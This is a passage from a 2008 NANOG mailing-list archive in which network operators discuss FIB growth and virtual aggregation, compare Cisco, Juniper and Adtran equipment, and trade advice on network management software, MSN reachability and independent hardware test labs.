size. > > There has been a lively discussion of this on the IDR mailing list, including > a suggestion that FIB reduction is more important for lower tier ISPs (tier > 2, tier 3...) than for tier 1 ISPs. Unfortunately I don't think that people > from smaller ISPs pay much attention to the IDR mailing list, so they are not > being represented in this discussion. Software switched routers have little pressure on fib limitions. For a certain class of application the software switched edge router is in a much better position to accommodate fib growth than a device with a fixed sized cam. If you're in the business of shopping for sup-2s on ebay you'll probably see significant benefits in fib reduction. > So I'm looking for input from folks who think that FIB reduction helps them, > so as to better understand their requirements. > > Any help is much appreciated. > > Thanks, > > PF > > From adrian at creative.net.au Sun Jul 20 11:34:12 2008 From: adrian at creative.net.au (Adrian Chadd) Date: Mon, 21 Jul 2008 00:34:12 +0800 Subject: virtual aggregation in IETF In-Reply-To: <4883677D.5060509@bogus.com> References: <37BC8961A005144C8F5B8E4AD226DE1109D951@EXCHANGE2.cs.cornell.edu> <4883677D.5060509@bogus.com> Message-ID: <20080720163412.GE4789@skywalker.creative.net.au> On Sun, Jul 20, 2008, Joel Jaeggli wrote: > Software switched routers have little pressure on fib limitions. For a > certain class of application the software switched edge router is in a > much better position to accommodate fib growth than a device with a > fixed sized cam. I dunno about that; there's some papers floating about which look at trie type FIB representations which note significant savings in compressing FIB to unique entry set. Less memory, less comparsions, less nodes, etc. Rather interesting stuff. Try http://www.academypublisher.com/jnw/vol02/no03/jnw02031827.pdf for fun. Adrian From joelja at bogus.com Sun Jul 20 11:39:37 2008 From: joelja at bogus.com (Joel Jaeggli) Date: Sun, 20 Jul 2008 09:39:37 -0700 Subject: virtual aggregation in IETF In-Reply-To: <20080720163412.GE4789@skywalker.creative.net.au> References: <37BC8961A005144C8F5B8E4AD226DE1109D951@EXCHANGE2.cs.cornell.edu> <4883677D.5060509@bogus.com> <20080720163412.GE4789@skywalker.creative.net.au> Message-ID: <48836A49.60006@bogus.com> Adrian Chadd wrote: > On Sun, Jul 20, 2008, Joel Jaeggli wrote: > >> Software switched routers have little pressure on fib limitions. For a >> certain class of application the software switched edge router is in a >> much better position to accommodate fib growth than a device with a >> fixed sized cam. > > I dunno about that; there's some papers floating about which look at > trie type FIB representations which note significant savings in compressing > FIB to unique entry set. Less memory, less comparsions, less nodes, etc. > Rather interesting stuff. Not saying that they couldn't benefit from it, however on one hand we have a device with a 36Mbit cam on the other, one with 2GB of ram, which one fills up first? > Try http://www.academypublisher.com/jnw/vol02/no03/jnw02031827.pdf for > fun. > > > > Adrian > From adrian at creative.net.au Sun Jul 20 11:50:48 2008 From: adrian at creative.net.au (Adrian Chadd) Date: Mon, 21 Jul 2008 00:50:48 +0800 Subject: virtual aggregation in IETF In-Reply-To: <48836A49.60006@bogus.com> References: <37BC8961A005144C8F5B8E4AD226DE1109D951@EXCHANGE2.cs.cornell.edu> <4883677D.5060509@bogus.com> <20080720163412.GE4789@skywalker.creative.net.au> <48836A49.60006@bogus.com> Message-ID: <20080720165048.GF4789@skywalker.creative.net.au> On Sun, Jul 20, 2008, Joel Jaeggli wrote: > Not saying that they couldn't benefit from it, however on one hand we > have a device with a 36Mbit cam on the other, one with 2GB of ram, which > one fills up first? Well, the actual data point you should look at is "160k odd FIB from a couple years ago can fit in under 2 megabytes of memory." The random fetch time for dynamic RAM is pretty shocking compared to L2 cache access time, and you probably want to arrange your FIB to play well with your cache. Its nice that the higher end CPUs have megabytes and megabytes of L2 cache but placing a high-end Xeon on each of your interface processors is probably asking a lot. So there's still room for optimising for sensibly-specced hardware. Of course, -my- applied CPU-cache clue comes from the act of parsing HTTP requests/ replies, not from building FIBs. I'm just going off the papers I've read on the subject. :) Adrian From joelja at bogus.com Sun Jul 20 12:01:40 2008 From: joelja at bogus.com (Joel Jaeggli) Date: Sun, 20 Jul 2008 10:01:40 -0700 Subject: virtual aggregation in IETF In-Reply-To: <20080720165048.GF4789@skywalker.creative.net.au> References: <37BC8961A005144C8F5B8E4AD226DE1109D951@EXCHANGE2.cs.cornell.edu> <4883677D.5060509@bogus.com> <20080720163412.GE4789@skywalker.creative.net.au> <48836A49.60006@bogus.com> <20080720165048.GF4789@skywalker.creative.net.au> Message-ID: <48836F74.2020906@bogus.com> Adrian Chadd wrote: > On Sun, Jul 20, 2008, Joel Jaeggli wrote: > >> Not saying that they couldn't benefit from it, however on one hand we >> have a device with a 36Mbit cam on the other, one with 2GB of ram, which >> one fills up first? > > Well, the actual data point you should look at is "160k odd FIB from a couple > years ago can fit in under 2 megabytes of memory." > > The random fetch time for dynamic RAM is pretty shocking compared to L2 > cache access time, and you probably want to arrange your FIB to play well with > your cache. > > Its nice that the higher end CPUs have megabytes and megabytes of L2 cache > but placing a high-end Xeon on each of your interface processors is probably > asking a lot. So there's still room for optimising for sensibly-specced > hardware. If you're putting it on a line card it's probably more like a RAZA XLR, more memory bandwith and less cpu relative to the say the intel arch approach. That said I think you're headed to high end again. It has been routinetly posited that fib growth hurts the people on the edge more than in the center. I don't buy that for the reason outlined in my original response. If my pps requirements are moderate my software router can carry a fib of effectively arbitrary size at a lower cost than carrying the same fib in cam. > Of course, -my- applied CPU-cache clue comes from the act of parsing HTTP requests/ > replies, not from building FIBs. I'm just going off the papers I've read on the > subject. :) > > > > Adrian > From francis at cs.cornell.edu Sun Jul 20 12:37:56 2008 From: francis at cs.cornell.edu (Paul Francis) Date: Sun, 20 Jul 2008 13:37:56 -0400 Subject: virtual aggregation in IETF In-Reply-To: <48836F74.2020906@bogus.com> References: <37BC8961A005144C8F5B8E4AD226DE1109D951@EXCHANGE2.cs.cornell.edu><4883677D.5060509@bogus.com><20080720163412.GE4789@skywalker.creative.net.au><48836A49.60006@bogus.com><20080720165048.GF4789@skywalker.creative.net.au> <48836F74.2020906@bogus.com> Message-ID: <37BC8961A005144C8F5B8E4AD226DE1109D95A@EXCHANGE2.cs.cornell.edu> So, if I get you right, you are saying that edge routers have fewer CPU requirements, and so ISPs can get away with software routers and don't care about FIB. At the same time, folks in the middle are saying that in any event they need to buy high-end routers, and so can afford to buy enough hardware FIB so they also don't care (much) about FIB growth. Are there any folks for whom this statement isn't working? PF > -----Original Message----- > From: Joel Jaeggli [mailto:joelja at bogus.com] > Sent: Sunday, July 20, 2008 1:02 PM > To: Adrian Chadd > Cc: nanog at nanog.org > Subject: Re: virtual aggregation in IETF > > Adrian Chadd wrote: > > On Sun, Jul 20, 2008, Joel Jaeggli wrote: > > > >> Not saying that they couldn't benefit from it, however on one hand > we > >> have a device with a 36Mbit cam on the other, one with 2GB of ram, > which > >> one fills up first? > > > > Well, the actual data point you should look at is "160k odd FIB from > a couple > > years ago can fit in under 2 megabytes of memory." > > > > The random fetch time for dynamic RAM is pretty shocking compared to > L2 > > cache access time, and you probably want to arrange your FIB to play > well with > > your cache. > > > > Its nice that the higher end CPUs have megabytes and megabytes of L2 > cache > > but placing a high-end Xeon on each of your interface processors is > probably > > asking a lot. So there's still room for optimising for sensibly- > specced > > hardware. > > If you're putting it on a line card it's probably more like a RAZA XLR, > more memory bandwith and less cpu relative to the say the intel arch > approach. > > That said I think you're headed to high end again. It has been > routinetly posited that fib growth hurts the people on the edge more > than in the center. I don't buy that for the reason outlined in my > original response. If my pps requirements are moderate my software > router can carry a fib of effectively arbitrary size at a lower cost > than carrying the same fib in cam. > > > Of course, -my- applied CPU-cache clue comes from the act of parsing > HTTP requests/ > > replies, not from building FIBs. I'm just going off the papers I've > read on the > > subject. :) > > > > > > > > Adrian > > > From joelja at bogus.com Sun Jul 20 13:22:41 2008 From: joelja at bogus.com (Joel Jaeggli) Date: Sun, 20 Jul 2008 11:22:41 -0700 Subject: virtual aggregation in IETF In-Reply-To: <37BC8961A005144C8F5B8E4AD226DE1109D95A@EXCHANGE2.cs.cornell.edu> References: <37BC8961A005144C8F5B8E4AD226DE1109D951@EXCHANGE2.cs.cornell.edu><4883677D.5060509@bogus.com><20080720163412.GE4789@skywalker.creative.net.au><48836A49.60006@bogus.com><20080720165048.GF4789@skywalker.creative.net.au> <48836F74.2020906@bogus.com> <37BC8961A005144C8F5B8E4AD226DE1109D95A@EXCHANGE2.cs.cornell.edu> Message-ID: <48838271.80200@bogus.com> Paul Francis wrote: > So, if I get you right, you are saying that edge routers have fewer CPU > requirements, and so ISPs can get away with software routers and don't care > about FIB. "ISP's that can get away with software routers" Also multihomed edge networks, the costs associated with multihoming aren't evenly distributed. The entities most likely to get squeezed are in the middle of the echosystem. > At the same time, folks in the middle are saying that in any > event they need to buy high-end routers, and so can afford to buy enough > hardware FIB so they also don't care (much) about FIB growth. They care, but you weren't buying 2 million entry cam routers a year ago to deal with the growth of the DFZ. They bought them because they needed or would need a million or more internal routes fairly shortly, which says a lot about the complexity of a large isp. Assuming the dfz growth continues to fit the curve it's pretty easy to figure out when you need enough fib to support 500k dfz entries just as it was when we did the fib bof at nanog 39... http://www.cidr-report.org/cgi-bin/plota?file=%2Fvar%2Fdata%2Fbgp%2Fas2.0%2Fbgp-active.txt&descr=Active+BGP+entries+%28FIB%29&ylabel=Active+BGP+entries+%28FIB%29&range=Year&StartDate=&EndDate=&yrange=Auto&ymin=&ymax=&Width=1&Height=1&with=Step&color=auto&logscale=linear That's not to say that fib compression is undesirable, that approach has real benefits extending the useful life of a given platform, but there's very little about the current situation that is unexpected, or intractable. > Are there any folks for whom this statement isn't working? > > PF > >> -----Original Message----- >> From: Joel Jaeggli [mailto:joelja at bogus.com] >> Sent: Sunday, July 20, 2008 1:02 PM >> To: Adrian Chadd >> Cc: nanog at nanog.org >> Subject: Re: virtual aggregation in IETF >> >> Adrian Chadd wrote: >>> On Sun, Jul 20, 2008, Joel Jaeggli wrote: >>> >>>> Not saying that they couldn't benefit from it, however on one hand >> we >>>> have a device with a 36Mbit cam on the other, one with 2GB of ram, >> which >>>> one fills up first? >>> Well, the actual data point you should look at is "160k odd FIB from >> a couple >>> years ago can fit in under 2 megabytes of memory." >>> >>> The random fetch time for dynamic RAM is pretty shocking compared to >> L2 >>> cache access time, and you probably want to arrange your FIB to play >> well with >>> your cache. >>> >>> Its nice that the higher end CPUs have megabytes and megabytes of L2 >> cache >>> but placing a high-end Xeon on each of your interface processors is >> probably >>> asking a lot. So there's still room for optimising for sensibly- >> specced >>> hardware. >> If you're putting it on a line card it's probably more like a RAZA XLR, >> more memory bandwith and less cpu relative to the say the intel arch >> approach. >> >> That said I think you're headed to high end again. It has been >> routinetly posited that fib growth hurts the people on the edge more >> than in the center. I don't buy that for the reason outlined in my >> original response. If my pps requirements are moderate my software >> router can carry a fib of effectively arbitrary size at a lower cost >> than carrying the same fib in cam. >> >>> Of course, -my- applied CPU-cache clue comes from the act of parsing >> HTTP requests/ >>> replies, not from building FIBs. I'm just going off the papers I've >> read on the >>> subject. :) >>> >>> >>> >>> Adrian >>> > From merlyn at geeks.org Mon Jul 21 01:08:23 2008 From: merlyn at geeks.org (Doug McIntyre) Date: Mon, 21 Jul 2008 01:08:23 -0500 Subject: Cisco vs Adtran vs Juniper In-Reply-To: <89D27DE3375BB6428DDCC2927489826A0166CF27@nexus.nexicomgroup.net> References: <89D27DE3375BB6428DDCC2927489826A0166CF20@nexus.nexicomgroup.net> <2C05E949E19A9146AF7BDF9D44085B8635058ED6A6@exchange.aoihq.local> <89D27DE3375BB6428DDCC2927489826A0166CF27@nexus.nexicomgroup.net> Message-ID: <20080721060823.GA44177@geeks.org> On Fri, Jul 18, 2008 at 11:55:44AM -0400, Paul Stewart wrote: > Still wondering if anyone knows how the Cisco lifetime warranty really > works...? You call up TAC, tell them you have a problem with your catalyst. Since the huge gray-market problem with cisco gear, they'll probably want proof that you are original owner, so you'll most likely need to dig up invoices showing buying from an authorized cisco dealer/distributer. If they are happy with your documentation, you get support. If its a security problem with the software version, they'll give you a link to download a fixed version. If you have bad hardware, you'll get it cross-shipped next-business-day. You still need Smartnet to get any version upgrade, or faster shipping than NBD. From lists at memetic.org Mon Jul 21 03:46:25 2008 From: lists at memetic.org (Adam Armstrong) Date: Mon, 21 Jul 2008 09:46:25 +0100 Subject: NMS for Carriers Message-ID: <48844CE1.8060109@memetic.org> Hi All, We're kicking off a project to find a new NMS and I thought you guys might have some helpful advice. We're a smallish telco (on an island, infact) so we have a very wide range of kit to monitor, from servers to routers to dslams and all that dirty voice stuff. Which software are you guys using? Any obvious gotchas with the various solutions? We're looking at EMC Smarts first. Anyone got any comments to make on that? Thanks in advance! adam. From neil at domino.org Mon Jul 21 03:57:48 2008 From: neil at domino.org (Neil J. McRae) Date: Mon, 21 Jul 2008 09:57:48 +0100 (BST) Subject: NMS for Carriers In-Reply-To: <48844CE1.8060109@memetic.org> References: <48844CE1.8060109@memetic.org> Message-ID: <1412.195.66.241.44.1216630668.squirrel@webmail2.domino.org> > We're kicking off a project to find a new NMS and I thought you guys > might have some helpful advice. > > We're a smallish telco (on an island, infact) so we have a very wide > range of kit to monitor, from servers to routers to dslams and all that > dirty voice stuff. > > Which software are you guys using? Any obvious gotchas with the various > solutions? > > We're looking at EMC Smarts first. Anyone got any comments to make on > that? Smarts is excellent notably for IP and Applications. Netcool is best of legacy telco gear. -- Neil J. McRae -- Alive and Kicking. neil at DOMINO.ORG From nanog at mattelmore.com Mon Jul 21 08:19:28 2008 From: nanog at mattelmore.com (Matthew Elmore) Date: Mon, 21 Jul 2008 08:19:28 -0500 Subject: Cisco vs Adtran vs Juniper In-Reply-To: <2C05E949E19A9146AF7BDF9D44085B8635058ED6A5@exchange.aoihq.local> References: <637214007.21061216391691222.JavaMail.root@dkny.pando.com><4880AE33.2060505@rxsec.com> <89D27DE3375BB6428DDCC2927489826A0166CF01@nexus.nexicomgroup.net> <2C05E949E19A9146AF7BDF9D44085B8635058ED6A5@exchange.aoihq.local> Message-ID: <412C2715-4C6D-4088-A75E-9D014CB61EBF@mattelmore.com> On Jul 18, 2008, at 10:49 AM, Eric Van Tol wrote: >> >> >> I'm looking for some constructive feedback on **real world** >> experiences >> please... > > > We're split pretty evenly between Cisco and Juniper boxes and are > happy with both. It all really depends on the services you want to > sell or support for your customers, as each box can do different > things. > I've been using both these boxes for a while, the SSGs in particular, so I'll chime in. Eric is right, the WebUI for ScreenOS is not very good, but it's far better than any of the interfaces I've seen on any other security devices. It has its quirks, but it does get the job done. I have no complaints about the SSG hardware, you get decent port density across the line and 90% of the functionality you will want is there out of the box with no additional licensing required (stateful firewall, IPSec, all routing protocols, etc). Don't bother with the Antivirus and Antispam on ScreenOS, it sucks and Juniper knows it. The web filtering works pretty well, though. They're very flexible with regards to interoperability with other vendors (even Cisco). I've connected one to just about every vendor imaginable and there is always a way to make it work. If you're looking for a cheap router/firewall/VPN box, then the SSGs from Juniper are the way to go right now. JunOS Enhanced Services could make our lives even better too... > Both Cisco and Juniper offer great options for this. CPE from both > is typically very solid. Juniper has the added benefit of being > able to convert their J-series boxes to Netscreen SSG firewalls and > the cards are interchangeable between the security/J-series > platforms. Of course, this does cost you in license fees. NAT on > the J-series is a pain to set up and unfortunately, the default 256M > flash on them is just too small to support an easy JUNOS upgrade. >> What he said -- with the J series you get JunOS and now JunOS Enhanced Services, so you get a full-fledged firewall as well. No need to convert them to ScreenOS (unless you need a feature that hasn't been ported from ScreenOS to JunOS ES yet). The only thing I really don't like in the J series is the lack of a non rack mount form factor. A lot of small and branch offices don't necessarily have racks and it can be cumbersome to convince someone they need a 19" wide noisebox to be their router. More on JunOS ES: http://www.juniper.net/techpubs/software/junos-es/ Regards, M From rs at seastrom.com Mon Jul 21 08:35:48 2008 From: rs at seastrom.com (Robert E. Seastrom) Date: Mon, 21 Jul 2008 09:35:48 -0400 Subject: virtual aggregation in IETF In-Reply-To: <48836F74.2020906@bogus.com> (Joel Jaeggli's message of "Sun, 20 Jul 2008 10:01:40 -0700") References: <37BC8961A005144C8F5B8E4AD226DE1109D951@EXCHANGE2.cs.cornell.edu> <4883677D.5060509@bogus.com> <20080720163412.GE4789@skywalker.creative.net.au> <48836A49.60006@bogus.com> <20080720165048.GF4789@skywalker.creative.net.au> <48836F74.2020906@bogus.com> Message-ID: <86vdyzl5qj.fsf@seastrom.com> Joel Jaeggli writes: > That said I think you're headed to high end again. It has been > routinetly posited that fib growth hurts the people on the edge more > than in the center. I don't buy that for the reason outlined in my > original response. If my pps requirements are moderate my software > router can carry a fib of effectively arbitrary size at a lower cost > than carrying the same fib in cam. While that's true, planned obsolescence in terms of ram non-expandability from certain vendors leaves people on the edge (who often have to scrape by on thin budgets) hurting badly enough as to offset any theoretical software-vs-hardware router advantage they may have originally had. -r From pstewart at nexicomgroup.net Mon Jul 21 09:45:08 2008 From: pstewart at nexicomgroup.net (Paul Stewart) Date: Mon, 21 Jul 2008 10:45:08 -0400 Subject: Cisco vs Adtran vs Juniper In-Reply-To: <412C2715-4C6D-4088-A75E-9D014CB61EBF@mattelmore.com> References: <637214007.21061216391691222.JavaMail.root@dkny.pando.com><4880AE33.2060505@rxsec.com><89D27DE3375BB6428DDCC2927489826A0166CF01@nexus.nexicomgroup.net><2C05E949E19A9146AF7BDF9D44085B8635058ED6A5@exchange.aoihq.local> <412C2715-4C6D-4088-A75E-9D014CB61EBF@mattelmore.com> Message-ID: <89D27DE3375BB6428DDCC2927489826A0166D0E4@nexus.nexicomgroup.net> Thanks very much.... we're looking a series of models currently and all the feedback I've received so far has been extremely helpful... Best regards! Paul -----Original Message----- From: Matthew Elmore [mailto:nanog at mattelmore.com] Sent: Monday, July 21, 2008 9:19 AM To: nanog Subject: Re: Cisco vs Adtran vs Juniper On Jul 18, 2008, at 10:49 AM, Eric Van Tol wrote: >> >> >> I'm looking for some constructive feedback on **real world** >> experiences >> please... > > > We're split pretty evenly between Cisco and Juniper boxes and are > happy with both. It all really depends on the services you want to > sell or support for your customers, as each box can do different > things. > I've been using both these boxes for a while, the SSGs in particular, so I'll chime in. Eric is right, the WebUI for ScreenOS is not very good, but it's far better than any of the interfaces I've seen on any other security devices. It has its quirks, but it does get the job done. I have no complaints about the SSG hardware, you get decent port density across the line and 90% of the functionality you will want is there out of the box with no additional licensing required (stateful firewall, IPSec, all routing protocols, etc). Don't bother with the Antivirus and Antispam on ScreenOS, it sucks and Juniper knows it. The web filtering works pretty well, though. They're very flexible with regards to interoperability with other vendors (even Cisco). I've connected one to just about every vendor imaginable and there is always a way to make it work. If you're looking for a cheap router/firewall/VPN box, then the SSGs from Juniper are the way to go right now. JunOS Enhanced Services could make our lives even better too... > Both Cisco and Juniper offer great options for this. CPE from both > is typically very solid. Juniper has the added benefit of being > able to convert their J-series boxes to Netscreen SSG firewalls and > the cards are interchangeable between the security/J-series > platforms. Of course, this does cost you in license fees. NAT on > the J-series is a pain to set up and unfortunately, the default 256M > flash on them is just too small to support an easy JUNOS upgrade. >> What he said -- with the J series you get JunOS and now JunOS Enhanced Services, so you get a full-fledged firewall as well. No need to convert them to ScreenOS (unless you need a feature that hasn't been ported from ScreenOS to JunOS ES yet). The only thing I really don't like in the J series is the lack of a non rack mount form factor. A lot of small and branch offices don't necessarily have racks and it can be cumbersome to convince someone they need a 19" wide noisebox to be their router. More on JunOS ES: http://www.juniper.net/techpubs/software/junos-es/ Regards, M No virus found in this incoming message. Checked by AVG - http://www.avg.com Version: 8.0.138 / Virus Database: 270.5.3/1564 - Release Date: 7/21/2008 6:42 AM ---------------------------------------------------------------------------- "The information transmitted is intended only for the person or entity to which it is addressed and contains confidential and/or privileged material. If you received this in error, please contact the sender immediately and then destroy this transmission, including all attachments, without copying, distributing or disclosing same. Thank you." From mliotta at r337.com Mon Jul 21 09:56:32 2008 From: mliotta at r337.com (Matt Liotta) Date: Mon, 21 Jul 2008 10:56:32 -0400 Subject: connectivity to MSN Message-ID: <8658415A-8E6F-46E8-81E6-748B9D4D6576@r337.com> Anyone having problems with MSN? Depending on which AS I use the traceroute dies in different places, but most of the time it dies in AS 8075. However, MSN does seem accessible from XO and Comcast. -Matt From pauldotwall at gmail.com Mon Jul 21 10:10:14 2008 From: pauldotwall at gmail.com (Paul Wall) Date: Mon, 21 Jul 2008 11:10:14 -0400 Subject: connectivity to MSN In-Reply-To: <8658415A-8E6F-46E8-81E6-748B9D4D6576@r337.com> References: <8658415A-8E6F-46E8-81E6-748B9D4D6576@r337.com> Message-ID: <620fd17c0807210810g1c8a4dedw9d801b99932eb083@mail.gmail.com> Microsoft filters traceroute, etc to various web properties at their border. Paul Wall On Mon, Jul 21, 2008 at 10:56 AM, Matt Liotta wrote: > Anyone having problems with MSN? Depending on which AS I use the traceroute > dies in different places, but most of the time it dies in AS 8075. However, > MSN does seem accessible from XO and Comcast. > > -Matt > > From nick at laststop.net Mon Jul 21 11:08:55 2008 From: nick at laststop.net (Nick Shank) Date: Mon, 21 Jul 2008 09:08:55 -0700 (GMT-07:00) Subject: connectivity to MSN Message-ID: <15963778.1216656535390.JavaMail.root@whwamui-ascend.pas.sa.earthlink.net> Everything should be up and running, and I haven't gotten a ticket to the contrary. A tracert works for me, but I'm behind the firewall, so it's of no use to anyone else. ~Nick -----Original Message----- >From: Matt Liotta >Sent: Jul 21, 2008 7:56 AM >To: nanog at nanog.org >Subject: connectivity to MSN > >Anyone having problems with MSN? Depending on which AS I use the >traceroute dies in different places, but most of the time it dies in >AS 8075. However, MSN does seem accessible from XO and Comcast. > >-Matt > From tomb at byrneit.net Mon Jul 21 12:09:35 2008 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Mon, 21 Jul 2008 10:09:35 -0700 Subject: Independent Testing for Network Hardware In-Reply-To: References: <003701c8e2d8$ae243180$0a6c9480$@com> Message-ID: <70D072392E56884193E3D2DE09C097A9F373@pascal.zaphodb.org> For independent testing, Kevin Tolly's been at it a long time, and has shown himself to be fair. http://www.tolly.com/ > -----Original Message----- > From: Sean Hafeez [mailto:sah.list at gmail.com] > Sent: Friday, July 18, 2008 2:07 PM > To: Frank P. Troy > Cc: rpapneja at isocore.com; nanog at merit.edu > Subject: Re: Independent Testing for Network Hardware > > IXIA makes a nice product depending on what you want to do. I > have one here with some 10G line cards. > > -Sean > > On Jul 10, 2008, at 3:02 PM, Frank P. Troy wrote: > > > I can recommend Isocore http://www.isocore.com/ (the same > folks that > > run the MPLS conference). Talk to Rajiv Papneja > > [rpapneja at isocore.com]. > > > > Regards, > > Frank > > > > ------------------------------------ > > Frank P. Troy > > 703-396-8700 > > frank at troy-networks.com > > ------------------------------------- > > > > > > -----Original Message----- > > From: Brian Knoll (TT) [mailto:Brian.Knoll at tradingtechnologies.com] > > Sent: Thursday, July 10, 2008 11:16 AM > > To: nanog at merit.edu > > Subject: Independent Testing for Network Hardware > > > > Can anyone recommend a reliable independent testing company > that tests > > network hardware performance? > > > > > > > > We are considering buying testing hardware (right now we > are looking > > at Spirent TestCenter) and I wanted to see if there were other > > options... > > > > > > > > Brian Knoll > > > > > > > > > > > > > > > > > From nanog at mattelmore.com Mon Jul 21 20:25:24 2008 From: nanog at mattelmore.com (Matthew Elmore) Date: Mon, 21 Jul 2008 20:25:24 -0500 Subject: Line rate gigabit router/switch options In-Reply-To: References: <483E6B0272B0284BA86D7596C40D29F9025A1632@PUR-EXCH07.ox.com> Message-ID: <6F430437-9D78-43D0-B5FE-AAD17A48F0A7@mattelmore.com> I think a J series would be the way to go as well. Even the 4350 claims 1Gbps+ forwarding. To give you an idea of cost, a J4350 will list about $5k J6350 will list about $10.5k. The 8-port GigE PIMs list at $1800 per, 16-port GigE PIM (dual height) at $3000. Of course, those are list prices... M On Jul 17, 2008, at 3:02 PM, Paul Kelly :: Blacknight wrote: > Hi Matthew, > > The Juniper J6350 boxes are both cost effective and are claimed to > do line 2Gbit/s of IMIX traffic I think. > > We've several deployed between multitple DCs in Dublin and a load of > J4350 at different layers. Stick 2GB of ram into each one and > they'll go a long way. > > Paul > > Paul Kelly > Technical Director > Blacknight Internet Solutions ltd > Hosting, Colocation, Dedicated servers > IP Transit Services > Tel: +353 (0) 59 9183072 > Lo-call: 1850 929 929 > DDI: +353 (0) 59 9183091 > > e-mail: paul at blacknight.ie > web: http://www.blacknight.ie > > Blacknight Internet Solutions Ltd, > Unit 12A,Barrowside Business Park, > Sleaty Road, > Graiguecullen, > Carlow, > Ireland > > Company No.: 370845 > > >> -----Original Message----- >> From: Matthew Huff [mailto:mhuff at ox.com] >> Sent: Thursday, July 17, 2008 8:21 PM >> To: 'nanog at nanog.org' >> Subject: Line rate gigabit router/switch options >> >> We have a pair of cisco 7204VXR routers connecting to STFI >> receiving market data. At peak periods micro-bursts of >> unicast and multicast data overrun the Ethernet fifo buffer >> due to the 7200 being a cpu based router. A 7600 router would >> be a good replacement but it isn't cost effective. We need >> BGP, rip, pim multicast and netflow. Since the connections >> are all metro Ethernet, Cisco has suggested looking at the >> 3750 switch platform that does BGP since all of the packets >> are hardware switched, but it doesn't due L3 netflow. I've >> been doing cisco for too long and was wondering what the cost >> effective options are with other vendors or even other >> possible cisco solutions. >> >> >> ---- >> Matthew Huff | One Manhattanville Rd >> OTA Management LLC | Purchase, NY 10577 >> www.ox.com | Phone: 914-460-4039 >> aim: matthewbhuff | Fax: 914-460-4139 >> >> > From francis at cs.cornell.edu Mon Jul 21 21:13:02 2008 From: francis at cs.cornell.edu (Paul Francis) Date: Mon, 21 Jul 2008 22:13:02 -0400 Subject: virtual aggregation in IETF In-Reply-To: <48838271.80200@bogus.com> References: <37BC8961A005144C8F5B8E4AD226DE1109D951@EXCHANGE2.cs.cornell.edu><4883677D.5060509@bogus.com><20080720163412.GE4789@skywalker.creative.net.au><48836A49.60006@bogus.com><20080720165048.GF4789@skywalker.creative.net.au> <48836F74.2020906@bogus.com> <37BC8961A005144C8F5B8E4AD226DE1109D95A@EXCHANGE2.cs.cornell.edu> <48838271.80200@bogus.com> Message-ID: <37BC8961A005144C8F5B8E4AD226DE1110D921@EXCHANGE2.cs.cornell.edu> How's this for a summary of what you are saying: Some ISPs can get away with software routers, most can't. Of those that can't, planning ahead by vendors and ISPs has allowed most ISPs to manage reasonably with well FIB growth. Nevertheless, some protocol tools to help manage FIB growth would be welcome by many. PF > -----Original Message----- > From: Joel Jaeggli [mailto:joelja at bogus.com] > Sent: Sunday, July 20, 2008 2:23 PM > To: Paul Francis > Cc: Adrian Chadd; nanog at nanog.org > Subject: Re: virtual aggregation in IETF > > Paul Francis wrote: > > So, if I get you right, you are saying that edge routers have fewer > CPU > > requirements, and so ISPs can get away with software routers and > don't care > > about FIB. > > "ISP's that can get away with software routers" Also multihomed edge > networks, the costs associated with multihoming aren't evenly > distributed. The entities most likely to get squeezed are in the middle > of the echosystem. > > > At the same time, folks in the middle are saying that in any > > event they need to buy high-end routers, and so can afford to buy > enough > > hardware FIB so they also don't care (much) about FIB growth. > > They care, but you weren't buying 2 million entry cam routers a year > ago > to deal with the growth of the DFZ. They bought them because they > needed > or would need a million or more internal routes fairly shortly, which > says a lot about the complexity of a large isp. Assuming the dfz growth > continues to fit the curve it's pretty easy to figure out when you need > enough fib to support 500k dfz entries just as it was when we did the > fib bof at nanog 39... > > http://www.cidr-report.org/cgi- > bin/plota?file=%2Fvar%2Fdata%2Fbgp%2Fas2.0%2Fbgp- > active.txt&descr=Active+BGP+entries+%28FIB%29&ylabel=Active+BGP+entries > +%28FIB%29&range=Year&StartDate=&EndDate=&yrange=Auto&ymin=&ymax=&Width > =1&Height=1&with=Step&color=auto&logscale=linear > > That's not to say that fib compression is undesirable, that approach > has > real benefits extending the useful life of a given platform, but > there's > very little about the current situation that is unexpected, or > intractable. > > > Are there any folks for whom this statement isn't working? > > > > PF > > > >> -----Original Message----- > >> From: Joel Jaeggli [mailto:joelja at bogus.com] > >> Sent: Sunday, July 20, 2008 1:02 PM > >> To: Adrian Chadd > >> Cc: nanog at nanog.org > >> Subject: Re: virtual aggregation in IETF > >> > >> Adrian Chadd wrote: > >>> On Sun, Jul 20, 2008, Joel Jaeggli wrote: > >>> > >>>> Not saying that they couldn't benefit from it, however on one hand > >> we > >>>> have a device with a 36Mbit cam on the other, one with 2GB of ram, > >> which > >>>> one fills up first? > >>> Well, the actual data point you should look at is "160k odd FIB > from > >> a couple > >>> years ago can fit in under 2 megabytes of memory." > >>> > >>> The random fetch time for dynamic RAM is pretty shocking compared > to > >> L2 > >>> cache access time, and you probably want to arrange your FIB to > play > >> well with > >>> your cache. > >>> > >>> Its nice that the higher end CPUs have megabytes and megabytes of > L2 > >> cache > >>> but placing a high-end Xeon on each of your interface processors is > >> probably > >>> asking a lot. So there's still room for optimising for sensibly- > >> specced > >>> hardware. > >> If you're putting it on a line card it's probably more like a RAZA > XLR, > >> more memory bandwith and less cpu relative to the say the intel arch > >> approach. > >> > >> That said I think you're headed to high end again. It has been > >> routinetly posited that fib growth hurts the people on the edge more > >> than in the center. I don't buy that for the reason outlined in my > >> original response. If my pps requirements are moderate my software > >> router can carry a fib of effectively arbitrary size at a lower cost > >> than carrying the same fib in cam. > >> > >>> Of course, -my- applied CPU-cache clue comes from the act of > parsing > >> HTTP requests/ > >>> replies, not from building FIBs. I'm just going off the papers I've > >> read on the > >>> subject. :) > >>> > >>> > >>> > >>> Adrian > >>> > > From tmaufer at gmail.com Tue Jul 22 01:13:05 2008 From: tmaufer at gmail.com (Thomas Maufer) Date: Mon, 21 Jul 2008 23:13:05 -0700 Subject: Independent Testing for Network Hardware In-Reply-To: <70D072392E56884193E3D2DE09C097A9F373@pascal.zaphodb.org> References: <003701c8e2d8$ae243180$0a6c9480$@com> <70D072392E56884193E3D2DE09C097A9F373@pascal.zaphodb.org> Message-ID: Isocore is good, but there are many others to choose from: Network Test, ExtremeLabs, Miercom, Core Competence, Opus One, in no particular order. I can personally recommend all of those (I have no experience with Tolly so I can't recommend them). If you are really interested in application performance, a lab is probably a better choice than a hardware purchase since they can help you interpret the results, especially if you'll be like most test equipment users (having test equipment used more than 10% of the time is rare). The results you'll get from Ixia's and 